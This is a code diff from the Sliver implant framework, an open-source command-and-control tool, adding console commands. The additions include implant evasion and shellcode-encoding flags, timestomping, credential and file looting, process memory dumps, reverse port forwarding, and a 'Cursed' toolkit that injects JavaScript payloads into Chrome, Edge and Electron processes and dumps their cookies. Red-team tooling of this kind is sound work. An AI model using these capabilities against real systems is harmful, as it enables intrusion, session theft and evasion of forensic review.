f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
|
||||
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
|
||||
|
||||
f.String("I", "template", "sliver", "implant code template")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
@@ -1410,6 +1573,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("y", "limit-username", "", "limit execution to specified username")
|
||||
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
|
||||
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
|
||||
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
|
||||
|
||||
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
|
||||
|
||||
@@ -1439,27 +1603,35 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int64("M", "minutes", 0, "beacon interval minutes")
|
||||
f.Int64("S", "seconds", 60, "beacon interval seconds")
|
||||
f.Int64("J", "jitter", 30, "beacon interval jitter in seconds")
|
||||
f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
|
||||
|
||||
// Generate flags
|
||||
f.String("o", "os", "windows", "operating system")
|
||||
f.String("a", "arch", "amd64", "cpu architecture")
|
||||
|
||||
f.Bool("d", "debug", false, "enable debug features")
|
||||
f.String("O", "debug-file", "", "path to debug output")
|
||||
f.Bool("e", "evasion", false, "enable evasion features")
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
|
||||
f.String("c", "canary", "", "canary domain(s)")
|
||||
|
||||
f.String("N", "name", "", "implant name")
|
||||
f.String("m", "mtls", "", "mtls connection strings")
|
||||
f.String("g", "wg", "", "wg connection strings")
|
||||
f.String("b", "http", "", "http(s) connection strings")
|
||||
f.String("n", "dns", "", "dns connection strings")
|
||||
f.String("p", "named-pipe", "", "named-pipe connection strings")
|
||||
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
|
||||
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
|
||||
|
||||
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
|
||||
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
|
||||
|
||||
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
|
||||
|
||||
f.String("I", "template", "sliver", "implant code template")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
@@ -1469,6 +1641,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("y", "limit-username", "", "limit execution to specified username")
|
||||
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
|
||||
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
|
||||
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
|
||||
|
||||
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
|
||||
|
||||
@@ -1574,6 +1747,24 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
|
||||
// [ Filesystem ] ---------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.MvStr,
|
||||
Help: "Move or rename a file",
|
||||
LongHelp: help.GetHelpFor([]string{consts.MvStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("src", "path to source file")
|
||||
a.String("dst", "path to dest file")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
err := filesystem.MvCmd(ctx, con)
|
||||
return err
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.LsStr,
|
||||
Help: "List current directory",
|
||||
@@ -1602,7 +1793,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
LongHelp: help.GetHelpFor([]string{consts.RmStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("r", "recursive", false, "recursively remove files")
|
||||
f.Bool("f", "force", false, "ignore safety and forcefully remove files")
|
||||
f.Bool("F", "force", false, "ignore safety and forcefully remove files")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1681,6 +1872,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Bool("c", "colorize-output", false, "colorize output")
|
||||
f.Bool("x", "hex", false, "display as a hex dump")
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
f.String("n", "name", "", "name to assign loot (optional)")
|
||||
f.String("T", "type", "", "force a specific loot type (file/cred) if looting (optional)")
|
||||
f.String("F", "file-type", "", "force a specific file type (binary/text) if looting (optional)")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("path", "path to the file to print")
|
||||
@@ -1702,6 +1896,10 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
f.String("T", "type", "", "force a specific loot type (file/cred) if looting")
|
||||
f.String("F", "file-type", "", "force a specific file type (binary/text) if looting")
|
||||
f.String("n", "name", "", "name to assign the download if looting")
|
||||
f.Bool("r", "recurse", false, "recursively download all files in a directory")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("remote-path", "path to the file or directory to download")
|
||||
@@ -1774,6 +1972,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Bool("4", "ip4", true, "display information about IPv4 sockets")
|
||||
f.Bool("6", "ip6", false, "display information about IPv6 sockets")
|
||||
f.Bool("l", "listen", false, "display information about listening sockets")
|
||||
f.Bool("n", "numeric", false, "display numeric addresses (disable hostname resolution)")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
@@ -1792,6 +1991,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Bool("c", "print-cmdline", false, "print command line arguments")
|
||||
f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
|
||||
f.Int("S", "skip-pages", 0, "skip the first n page(s)")
|
||||
f.Bool("T", "tree", false, "print process tree")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1812,6 +2012,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int("p", "pid", -1, "target pid")
|
||||
f.String("n", "name", "", "target process name")
|
||||
f.String("s", "save", "", "save to file (will overwrite if exists)")
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
f.String("N", "loot-name", "", "name to assign when adding the memory dump to the loot store (optional)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1838,7 +2040,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
a.Uint("pid", "pid")
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("f", "force", false, "disregard safety and kill the PID")
|
||||
f.Bool("F", "force", false, "disregard safety and kill the PID")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1852,9 +2054,14 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Run a new process in the context of the designated user (Windows Only)",
|
||||
LongHelp: help.GetHelpFor([]string{consts.RunAsStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("u", "username", "NT AUTHORITY\\SYSTEM", "user to impersonate")
|
||||
f.String("u", "username", "", "user to impersonate")
|
||||
f.String("p", "process", "", "process to start")
|
||||
f.String("a", "args", "", "arguments for the process")
|
||||
f.String("d", "domain", "", "domain of the user")
|
||||
f.String("P", "password", "", "password of the user")
|
||||
f.Bool("s", "show-window", false, `
|
||||
Log on, but use the specified credentials on the network only. The new process uses the same token as the caller, but the system creates a new logon session within LSA, and the process uses the specified credentials as the default credentials.`)
|
||||
f.Bool("n", "net-only", false, "use ")
|
||||
f.Int("t", "timeout", 30, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
@@ -1926,6 +2133,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("u", "username", "", "username of the user to impersonate")
|
||||
f.String("p", "password", "", "password of the user to impersonate")
|
||||
f.String("d", "domain", "", "domain of the user to impersonate")
|
||||
f.String("T", "logon-type", "LOGON_NEW_CREDENTIALS", "logon type to use")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
HelpGroup: consts.SliverWinHelpGroup,
|
||||
@@ -1937,6 +2145,118 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
})
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.ChmodStr,
|
||||
Help: "Change permissions on a file or directory",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ChmodStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("r", "recursive", false, "recursively change permissions on files")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("path", "path to the file to remove")
|
||||
a.String("mode", "file permissions in octal, e.g. 0644")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
filesystem.ChmodCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.ChownStr,
|
||||
Help: "Change owner on a file or directory",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ChownStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("r", "recursive", false, "recursively change permissions on files")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("path", "path to the file to remove")
|
||||
a.String("uid", "User, e.g. root")
|
||||
a.String("gid", "Group, e.g. root")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
filesystem.ChownCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.ChtimesStr,
|
||||
Help: "Change access and modification times on a file (timestomp)",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ChtimesStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("path", "path to the file to remove")
|
||||
a.String("atime", "Last accessed time in DateTime format, i.e. 2006-01-02 15:04:05")
|
||||
a.String("mtime", "Last modified time in DateTime format, i.e. 2006-01-02 15:04:05")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
filesystem.ChtimesCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
memfilesCmd := &grumble.Command{
|
||||
Name: consts.MemfilesStr,
|
||||
Help: "List current memfiles",
|
||||
LongHelp: help.GetHelpFor([]string{consts.MemfilesStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
filesystem.MemfilesListCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
}
|
||||
memfilesCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.AddStr,
|
||||
Help: "Add a memfile",
|
||||
LongHelp: help.GetHelpFor([]string{consts.MemfilesStr, consts.AddStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
filesystem.MemfilesAddCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
})
|
||||
memfilesCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RmStr,
|
||||
Help: "Remove a memfile",
|
||||
LongHelp: help.GetHelpFor([]string{consts.MemfilesStr, consts.RmStr}),
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("fd", "memfile file descriptor")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
filesystem.MemfilesRmCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
})
|
||||
con.App.AddCommand(memfilesCmd)
|
||||
|
||||
// [ Websites ] ---------------------------------------------
|
||||
|
||||
websitesCmd := &grumble.Command{
|
||||
@@ -2045,6 +2365,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("s", "save", "", "save to file (will overwrite if exists)")
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
f.String("n", "name", "", "name to assign loot (optional)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -2088,6 +2409,10 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("k", "kill", "", "kill a beacon")
|
||||
f.Bool("K", "kill-all", false, "kill all beacons")
|
||||
f.Bool("F", "force", false, "force killing of the beacon")
|
||||
f.String("f", "filter", "", "filter beacons by substring")
|
||||
f.String("e", "filter-re", "", "filter beacons by regular expression")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
@@ -2354,6 +2679,59 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
})
|
||||
con.App.AddCommand(registryCmd)
|
||||
|
||||
// [ Reverse Port Forwarding ] --------------------------------------------------------------
|
||||
|
||||
rportfwdCmd := &grumble.Command{
|
||||
Name: consts.RportfwdStr,
|
||||
Help: "reverse port forwardings",
|
||||
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
rportfwd.RportFwdListenersCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
}
|
||||
rportfwdCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.AddStr,
|
||||
Help: "Add and start reverse port forwarding",
|
||||
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
rportfwd.StartRportFwdListenerCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.String("r", "remote", "", "remote address <ip>:<port> connection is forwarded to")
|
||||
f.String("b", "bind", "", "bind address <ip>:<port> implants listen on")
|
||||
},
|
||||
HelpGroup: consts.SliverWinHelpGroup,
|
||||
})
|
||||
rportfwdCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RmStr,
|
||||
Help: "Stop and remove reverse port forwarding",
|
||||
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
rportfwd.StopRportFwdListenerCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Int("i", "id", 0, "id of portfwd to remove")
|
||||
},
|
||||
HelpGroup: consts.SliverWinHelpGroup,
|
||||
})
|
||||
|
||||
con.App.AddCommand(rportfwdCmd)
|
||||
|
||||
// [ Pivots ] --------------------------------------------------------------
|
||||
|
||||
pivotsCmd := &grumble.Command{
|
||||
@@ -2379,7 +2757,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.NamedPipeStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("b", "bind", "", "name of the named pipe to bind pivot listener")
|
||||
|
||||
f.Bool("a", "allow-all", false, "allow all users to connect")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
@@ -2671,7 +3049,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "router timeout in seconds")
|
||||
f.Int("i", "id", 0, "id of portfwd to remove")
|
||||
f.Uint64("i", "id", 0, "id of portfwd to remove")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
@@ -2757,7 +3135,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Add a remote file from the current session to the server's loot store",
|
||||
LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootRemoteStr}),
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("path", "The local file path to the loot")
|
||||
a.String("path", "The file path on the remote host to the loot")
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("n", "name", "", "name of this piece of loot")
|
||||
@@ -3138,7 +3516,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("connection-string", "connection string to the Operator Host")
|
||||
a.String("connection-string", "connection string to the Operator Host (e.g. 127.0.0.1:1234)")
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("s", "skip-existing", false, "Do not add existing sessions as Operator Agents")
|
||||
@@ -3146,6 +3524,186 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("r", "range", "sliver", "Agents range")
|
||||
},
|
||||
})
|
||||
|
||||
con.App.AddCommand(operatorCmd)
|
||||
|
||||
// [ Curse Commands ] ------------------------------------------------------------
|
||||
|
||||
cursedCmd := &grumble.Command{
|
||||
Name: consts.Cursed,
|
||||
Help: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
}
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RmStr,
|
||||
Help: "Remove a Curse from a process",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("k", "kill", false, "kill the process after removing the curse")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.Int("bind-port", "bind port of the Cursed process to stop")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedRmCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.CursedConsole,
|
||||
Help: "Start a JavaScript console connected to a debug target",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)`")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedConsoleCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.CursedChrome,
|
||||
Help: "Automatically inject a Cursed Chrome payload into a remote Chrome extension",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
|
||||
f.Bool("R", "restore", true, "restore the user's session after process termination")
|
||||
f.String("e", "exe", "", "chrome/chromium browser executable path (blank string = auto)")
|
||||
f.String("u", "user-data", "", "user data directory (blank string = auto)")
|
||||
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
|
||||
f.Bool("k", "keep-alive", false, "keeps browser alive after last browser window closes")
|
||||
f.Bool("H", "headless", false, "start browser process in headless mode")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.StringList("args", "additional chrome cli arguments", grumble.Default([]string{}))
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedChromeCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.CursedEdge,
|
||||
Help: "Automatically inject a Cursed Chrome payload into a remote Edge extension",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
|
||||
f.Bool("R", "restore", true, "restore the user's session after process termination")
|
||||
f.String("e", "exe", "", "edge browser executable path (blank string = auto)")
|
||||
f.String("u", "user-data", "", "user data directory (blank string = auto)")
|
||||
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
|
||||
f.Bool("k", "keep-alive", false, "keeps browser alive after last browser window closes")
|
||||
f.Bool("H", "headless", false, "start browser process in headless mode")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.StringList("args", "additional edge cli arguments", grumble.Default([]string{}))
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedEdgeCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.CursedElectron,
|
||||
Help: "Curse a remote Electron application",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("e", "exe", "", "remote electron executable absolute path")
|
||||
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.StringList("args", "additional electron cli arguments", grumble.Default([]string{}))
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedElectronCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.CursedCookies,
|
||||
Help: "Dump all cookies from cursed process",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedCookies}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("s", "save", "", "save to file")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedCookiesCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.ScreenshotStr,
|
||||
Help: "Take a screenshot of a cursed process debug target",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.ScreenshotStr}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int64("q", "quality", 100, "screenshot quality (1 - 100)")
|
||||
f.String("s", "save", "", "save to file")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedScreenshotCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
con.App.AddCommand(cursedCmd)
|
||||
|
||||
// [ Builders ] ---------------------------------------------
|
||||
buildersCmd := &grumble.Command{
|
||||
Name: consts.BuildersStr,
|
||||
Help: "List external builders",
|
||||
LongHelp: help.GetHelpFor([]string{consts.BuildersStr}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
builders.BuildersCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
}
|
||||
con.App.AddCommand(buildersCmd)
|
||||
}
|
||||
@@ -0,0 +1,3 @@
|
||||
# Cursed
|
||||
|
||||
Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/).
|
||||
@@ -0,0 +1,435 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
insecureRand "math/rand"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/bishopfox/sliver/client/tcpproxy"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
var (
|
||||
ErrUserDataDirNotFound = errors.New("could not find Chrome user data dir")
|
||||
ErrChromeExecutableNotFound = errors.New("could not find Chrome executable")
|
||||
ErrUnsupportedOS = errors.New("unsupported OS")
|
||||
|
||||
windowsDriveLetters = []string{"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
|
||||
|
||||
cursedChromePermissions = []string{overlord.AllURLs, overlord.WebRequest, overlord.WebRequestBlocking}
|
||||
cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking}
|
||||
)
|
||||
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory
|
||||
func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
